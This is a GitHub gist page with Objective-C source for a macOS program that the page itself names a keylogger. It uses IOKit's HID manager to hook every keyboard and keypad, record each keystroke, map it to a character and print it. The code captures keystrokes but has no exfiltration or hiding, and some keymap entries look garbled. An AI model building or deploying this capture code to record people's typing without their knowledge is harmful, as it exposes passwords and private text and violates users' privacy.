-
-
Save maurice-schuppe/7d4e975e0c73870429437ec481be996b to your computer and use it in GitHub Desktop.
Skrew Everything Keylogger using HID in Objective-C
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// main.m | |
// UniversalStatusBarClient | |
// | |
#import <Cocoa/Cocoa.h> | |
#import <IOKit/hid/IOHIDLib.h> | |
NSArray* keyMap[256]; | |
void fill_keyMap(NSArray * __strong map[]); | |
//----------------------------------------------------------------------------------------------------------------------------- | |
#pragma mark - | |
// https://developer.apple.com/library/content/documentation/DeviceDrivers/Conceptual/HID/new_api_10_5/tn2187.html | |
// function to create matching dictionary | |
// | |
static CFMutableDictionaryRef hu_CreateDeviceMatchingDictionary(UInt32 inUsagePage, UInt32 inUsage) | |
{ | |
// create a dictionary to add usage page/usages to | |
// | |
CFMutableDictionaryRef result= | |
CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); | |
if (!result) { | |
fprintf(stderr, "%s: CFDictionaryCreateMutable failed.", __PRETTY_FUNCTION__); | |
return result; | |
} | |
if (!inUsagePage) return NULL; | |
// Add key for device type to refine the matching dictionary. | |
// | |
CFNumberRef pageCFNumberRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &inUsagePage); | |
if (!pageCFNumberRef) { | |
fprintf(stderr, "%s: CFNumberCreate(usage page) failed.", __PRETTY_FUNCTION__); | |
return NULL; | |
} | |
CFDictionarySetValue(result,CFSTR(kIOHIDDeviceUsagePageKey), pageCFNumberRef); | |
CFRelease(pageCFNumberRef); | |
// note: the usage is only valid if the usage page is also defined | |
if (!inUsage) return NULL; | |
CFNumberRef usageCFNumberRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &inUsage); | |
if (!usageCFNumberRef) { | |
fprintf(stderr, "%s: CFNumberCreate(usage) failed.", __PRETTY_FUNCTION__); | |
return NULL; | |
} | |
CFDictionarySetValue(result, CFSTR(kIOHIDDeviceUsageKey), usageCFNumberRef); | |
CFRelease(usageCFNumberRef); | |
return result; | |
} // hu_CreateDeviceMatchingDictionary | |
//----------------------------------------------------------------------------------------------------------------------------- | |
#pragma mark - | |
#pragma mark Handle_*() | |
// this will be called when the HID Manager matches a new (hot plugged) HID device | |
// | |
static void Handle_DeviceMatchingCallback( | |
void * inContext, // context from IOHIDManagerRegisterDeviceMatchingCallback | |
IOReturn inResult, // the result of the matching operation | |
void * inSender, // the IOHIDManagerRef for the new device | |
IOHIDDeviceRef inIOHIDDeviceRef // the new HID device | |
) | |
{ | |
printf("%s(context: %p, result: %p, sender: %p, device: %p).\n", | |
__PRETTY_FUNCTION__, inContext, (void *) inResult, inSender, (void*) inIOHIDDeviceRef); | |
} // Handle_DeviceMatchingCallback | |
// this will be called when a HID device is removed (unplugged) | |
// | |
static void Handle_RemovalCallback( | |
void * inContext, // context from IOHIDManagerRegisterDeviceMatchingCallback | |
IOReturn inResult, // the result of the removing operation | |
void * inSender, // the IOHIDManagerRef for the device being removed | |
IOHIDDeviceRef inIOHIDDeviceRef // the removed HID device | |
) | |
{ | |
printf("%s(context: %p, result: %p, sender: %p, device: %p).\n", | |
__PRETTY_FUNCTION__, inContext, (void *) inResult, inSender, (void*) inIOHIDDeviceRef); | |
} // Handle_RemovalCallback | |
static void Handle_IOHIDInputValueCallback( | |
void * inContext, // context from IOHIDManagerRegisterInputValueCallback | |
IOReturn inResult, // completion result for the input value operation | |
void * inSender, // the IOHIDManagerRef | |
IOHIDValueRef inIOHIDValueRef // the new element value | |
) | |
{ | |
// printf("%s(context: %p, result: %p, sender: %p, value: %p).\n", | |
// __PRETTY_FUNCTION__, inContext, (void *) inResult, inSender, (void*) inIOHIDValueRef); | |
// https://developer.apple.com/library/content/documentation/DeviceDrivers/Conceptual/HID/new_api_10_5/tn2187.html#//apple_ref/doc/uid/TP40000970-CH214-SW15 | |
// | |
IOHIDElementRef elementRef= IOHIDValueGetElement(inIOHIDValueRef); | |
uint32_t scancode = IOHIDElementGetUsage(elementRef); // http://www.usb.org/developers/hidpage#HID_Usage | |
long pressed= IOHIDValueGetIntegerValue(inIOHIDValueRef); | |
if ((IOHIDElementGetUsagePage(elementRef) == 0x01) // GENERIC DESKTOP PAGE (0X01) | |
|| (IOHIDElementGetUsagePage(elementRef) == 0x07)) // KEYBOARD/KEYPAD PAGE (0X07) | |
{ | |
// if (scancode == -1) pressed is the |OR of all keys held, pressed == 0, means clear and read next scancode of -1 | |
if (scancode == -1) | |
return; | |
// if (scancode == 1 && pressed == 0), this sems to be a clear before a key pressed up/down, with 3 < scancode && scancode < 231 | |
if (scancode == 1) | |
return; | |
if (3 < scancode && scancode < 231) | |
{ | |
// IOHIDElementType tType = IOHIDElementGetType(elementRef) | |
// kIOHIDElementTypeInput_Misc = 1, | |
// kIOHIDElementTypeInput_Button = 2, | |
// CFStringRef name = IOHIDElementGetName(elementRef); // (null) | |
char psz_msg[100]; | |
sprintf(psz_msg,"(UsagePage:%#04x, Type:%d, scancode:%#04x, char:'%s', pressed:%ld)", | |
IOHIDElementGetUsagePage(elementRef), | |
IOHIDElementGetType(elementRef), | |
scancode, | |
[keyMap[scancode][0] UTF8String] , | |
pressed); | |
printf("%s\n",psz_msg); | |
return; | |
} | |
else printf("scancode < 4 || scancode > 231 ... "); | |
} | |
else printf("IOHIDElementGetUsagePage(elementRef) != 0x07 || 0x01 ... "); | |
printf("(UsagePage: %#04x, Type: %d, scancode: %#04x, pressed: %ld).\n", | |
IOHIDElementGetUsagePage(elementRef), IOHIDElementGetType(elementRef), scancode, pressed); | |
} // Handle_IOHIDInputValueCallback | |
//----------------------------------------------------------------------------------------------------------------------------- | |
#pragma mark - | |
#pragma mark main() | |
int main(int argc, const char * argv[]) | |
{ | |
fill_keyMap(keyMap); | |
IOHIDManagerRef managerRef = IOHIDManagerCreate(kCFAllocatorDefault, kIOHIDOptionsTypeNone); | |
if (CFGetTypeID(managerRef) != IOHIDManagerGetTypeID()) | |
{ | |
NSLog(@"Can't create manager"); | |
exit(1); | |
} | |
// create an array of matching dictionaries | |
CFMutableArrayRef matchingArrayRef = CFArrayCreateMutable(kCFAllocatorDefault, 0, &kCFTypeArrayCallBacks); | |
if (matchingArrayRef) | |
{ | |
CFDictionaryRef matchingDictRef; | |
// create a device matching dictionary for keyboards | |
// | |
matchingDictRef = hu_CreateDeviceMatchingDictionary(kHIDPage_GenericDesktop, kHIDUsage_GD_Keyboard); | |
if (matchingDictRef) | |
{ | |
CFArrayAppendValue(matchingArrayRef, matchingDictRef); | |
CFRelease(matchingDictRef); // and release it | |
} | |
else { | |
fprintf(stderr, "%s: hu_CreateDeviceMatchingDictionary(keyboard) failed.", __PRETTY_FUNCTION__); | |
} | |
// create a device matching dictionary for key pads | |
// | |
matchingDictRef = hu_CreateDeviceMatchingDictionary(kHIDPage_GenericDesktop, kHIDUsage_GD_Keypad); | |
if (matchingDictRef) | |
{ | |
CFArrayAppendValue(matchingArrayRef, matchingDictRef); | |
CFRelease(matchingDictRef); // and release it | |
} | |
else { | |
fprintf(stderr, "%s: hu_CreateDeviceMatchingDictionary(key pad) failed.", __PRETTY_FUNCTION__); | |
} | |
// create a device matching dictionary for mice | |
// | |
// matchingDictRef = hu_CreateDeviceMatchingDictionary(kHIDPage_GenericDesktop, kHIDUsage_GD_Mouse); | |
// if (matchingDictRef) | |
// { | |
// CFArrayAppendValue(matchingArrayRef, matchingDictRef); | |
// | |
// CFRelease(matchingDictRef); // and release it | |
// } | |
// else { | |
// fprintf(stderr, "%s: hu_CreateDeviceMatchingDictionary(key pad) failed.", __PRETTY_FUNCTION__); | |
// } | |
} else { | |
fprintf(stderr, "%s: CFArrayCreateMutable failed.", __PRETTY_FUNCTION__); | |
} | |
// set the HID device matching array | |
// Sets multiple matching criteria (array of dictionaries) for device enumeration. | |
// | |
IOHIDManagerSetDeviceMatchingMultiple(managerRef, matchingArrayRef); | |
CFRelease(matchingArrayRef); | |
//----- | |
// Register device matching callback routine | |
// This routine will be called when a new (matching) device is connected. | |
IOHIDManagerRegisterDeviceMatchingCallback(managerRef,&Handle_DeviceMatchingCallback,NULL); | |
// Registers a routine to be called when any currently enumerated device is removed. | |
// This routine will be called when a (matching) device is disconnected. | |
IOHIDManagerRegisterDeviceRemovalCallback(managerRef,&Handle_RemovalCallback,NULL); | |
//----- | |
// Scheduling the loop | |
// | |
IOHIDManagerScheduleWithRunLoop(managerRef, CFRunLoopGetCurrent(), kCFRunLoopDefaultMode); | |
// Open HID Manager | |
// | |
IOReturn ioReturn = IOHIDManagerOpen(managerRef, kIOHIDOptionsTypeNone); | |
if (ioReturn != kIOReturnSuccess) | |
{ | |
printf("Can't open HID!"); | |
} | |
//----- | |
// Once a connection to the HID manager is open, | |
// developers may register a routine to be called when input values change | |
// | |
IOHIDManagerRegisterInputValueCallback(managerRef,&Handle_IOHIDInputValueCallback,NULL); | |
//----- | |
int res= NSApplicationMain(argc, argv); // RunLoop | |
IOHIDManagerClose(managerRef, kIOHIDOptionsTypeNone); | |
CFRelease(managerRef); | |
return res; | |
} | |
//----------------------------------------------------------------------------------------------------------------------------- | |
#pragma mark - | |
#pragma mark keyMap | |
void fill_keyMap(NSArray * __strong map[]) | |
{ | |
// https://stackoverflow.com/questions/1602572/how-to-create-an-array-of-strings-in-objective-c-for-iphone | |
map[0x04] = @[@"a",@"A"];; | |
map[0x05] = @[@"b",@"B"];; | |
map[0x06] = @[@"c",@"C"]; | |
map[0x07] = @[@"d",@"D"]; | |
map[0x08] = @[@"e",@"E"]; | |
map[0x09] = @[@"f",@"F"]; | |
map[0x0A] = @[@"g",@"G"]; | |
map[0x0B] = @[@"h",@"H"]; | |
map[0x0C] = @[@"i",@"I"]; | |
map[0x0D] = @[@"j",@"J"]; | |
map[0x0E] = @[@"k",@"K"]; | |
map[0x0F] = @[@"l",@"L"]; | |
map[0x10] = @[@"m",@"M"]; | |
map[0x11] = @[@"n",@"N"]; | |
map[0x12] = @[@"o",@"O"]; | |
map[0x13] = @[@"p",@"P"]; | |
map[0x14] = @[@"q",@"Q"]; | |
map[0x15] = @[@"r",@"R"]; | |
map[0x16] = @[@"s",@"S"]; | |
map[0x17] = @[@"t",@"T"]; | |
map[0x18] = @[@"u",@"U"]; | |
map[0x19] = @[@"v",@"V"]; | |
map[0x1A] = @[@"w",@"W"]; | |
map[0x1B] = @[@"x",@"X"]; | |
map[0x1C] = @[@"y",@"Y"]; | |
map[0x1D] = @[@"z",@"Z"]; | |
map[0x1E] = @[@"1",@"!"]; | |
map[0x1F] = @[@"2",@"@"]; | |
map[0x20] = @[@"3",@"#"]; | |
map[0x21] = @[@"4",@"$"]; | |
map[0x22] = @[@"5",@"%"]; | |
map[0x23] = @[@"6",@"^"]; | |
map[0x24] = @[@"7",@"&"]; | |
map[0x25] = @[@"8",@"*"]; | |
map[0x26] = @[@"9",@"("]; | |
map[0x27] = @[@"0",@")"]; | |
map[0x28] = @[@"\n",@"\n"]; | |
map[0x29] = @[@"\\ESCAPE",@"\\ESCAPE"]; | |
map[0x2A] = @[@"\\DELETE|BACKSPACE",@"\\DELETE|BACKSPACE"]; // | |
map[0x2B] = @[@"\\TAB",@"\\TAB"]; | |
map[0x2C] = @[@" ",@" "]; | |
map[0x2D] = @[@"-",@"_"]; | |
map[0x2E] = @[@"=",@"+"]; | |
map[0x2F] = @[@"[@",@"{"]; | |
map[0x30] = @[@"];",@"}"]; | |
map[0x31] = @[@"\\",@"|"]; | |
map[0x32] = @[@"",@""]; // Keyboard Non-US# and ~2 | |
map[0x33] = @[@";",@":"]; | |
map[0x34] = @[@"'",@"\""]; | |
map[0x35] = @[@"`",@"~"]; | |
map[0x36] = @[@",@",@"<"]; | |
map[0x37] = @[@".",@">"]; | |
map[0x38] = @[@"/",@"?"]; | |
map[0x39] = @[@"\\CAPSLOCK",@"\\CAPSLOCK"]; | |
map[0x3A] = @[@"\\F1",@"\\F1"]; | |
map[0x3B] = @[@"\\F2",@"\\F2"]; | |
map[0x3C] = @[@"\\F3",@"\\F3"]; | |
map[0x3D] = @[@"\\F4",@"\\F4"]; | |
map[0x3E] = @[@"\\F5",@"\\F5"]; | |
map[0x3F] = @[@"\\F6",@"\\F6"]; | |
map[0x40] = @[@"\\F7",@"\\F7"]; | |
map[0x41] = @[@"\\F8",@"\\F8"]; | |
map[0x42] = @[@"\\F9",@"\\F9"]; | |
map[0x43] = @[@"\\F10",@"\\F10"]; | |
map[0x44] = @[@"\\F11",@"\\F11"]; | |
map[0x45] = @[@"\\F12",@"\\F12"]; | |
map[0x46] = @[@"\\PRINTSCREEN",@"\\PRINTSCREEN"]; | |
map[0x47] = @[@"\\SCROLL-LOCK",@"\\SCROLL-LOCK"]; | |
map[0x48] = @[@"\\PAUSE",@"\\PAUSE"]; | |
map[0x49] = @[@"\\INSERT",@"\\INSERT"]; | |
map[0x4A] = @[@"\\HOME",@"\\HOME"]; | |
map[0x4B] = @[@"\\PAGEUP",@"\\PAGEUP"]; | |
map[0x4C] = @[@"\\DELETE-FORWARD",@"\\DELETE-FORWARD"]; // | |
map[0x4D] = @[@"\\END",@"\\END"]; | |
map[0x4E] = @[@"\\PAGEDOWN",@"\\PAGEDOWN"]; | |
map[0x4F] = @[@"\\RIGHTARROW",@"\\RIGHTARROW"]; | |
map[0x50] = @[@"\\LEFTARROW",@"\\LEFTARROW"]; | |
map[0x51] = @[@"\\DOWNARROW",@"\\DOWNARROW"]; | |
map[0x52] = @[@"\\UPARROW",@"\\UPARROW"]; | |
map[0x53] = @[@"\\NUMLOCK",@"\\CLEAR"]; | |
// Keypads | |
map[0x54] = @[@"/",@"/"]; | |
map[0x55] = @[@"*",@"*"]; | |
map[0x56] = @[@"-",@"-"]; | |
map[0x57] = @[@"+",@"+"]; | |
map[0x58] = @[@"\\ENTER",@"\\ENTER"]; | |
map[0x59] = @[@"1",@"\\END"]; | |
map[0x5A] = @[@"2",@"\\DOWNARROW"]; | |
map[0x5B] = @[@"3",@"\\PAGEDOWN"]; | |
map[0x5C] = @[@"4",@"\\LEFTARROW"]; | |
map[0x5D] = @[@"5",@"5"]; | |
map[0x5E] = @[@"6",@"\\RIGHTARROW"]; | |
map[0x5F] = @[@"7",@"\\HOME"]; | |
map[0x60] = @[@"8",@"\\UPARROW"]; | |
map[0x61] = @[@"9",@"\\PAGEUP"]; | |
map[0x62] = @[@"0",@"\\INSERT"]; | |
map[0x63] = @[@".",@"\\DELETE"]; | |
map[0x64] = @[@"",@""]; // | |
///// | |
map[0xE0] = @[@"\\LCTRL",@"\\LCTRL"]; // left control | |
map[0xE1] = @[@"\\LSHIFT",@"\\LSHIFT"]; // left shift | |
map[0xE2] = @[@"\\LALT",@"\\LALT"]; // left alt | |
map[0xE3] = @[@"\\LCMD",@"\\LCMD"]; // left cmd | |
map[0xE4] = @[@"\\RCTRL",@"\\RCTRL"]; // right control | |
map[0xE5] = @[@"\\RSHIFT",@"\\RSHIFT"]; // right shift | |
map[0xE6] = @[@"\\RALT",@"\\RALT"]; // right alt | |
map[0xE7] = @[@"\\RCMD",@"\\RCMD"]; // right cmd | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment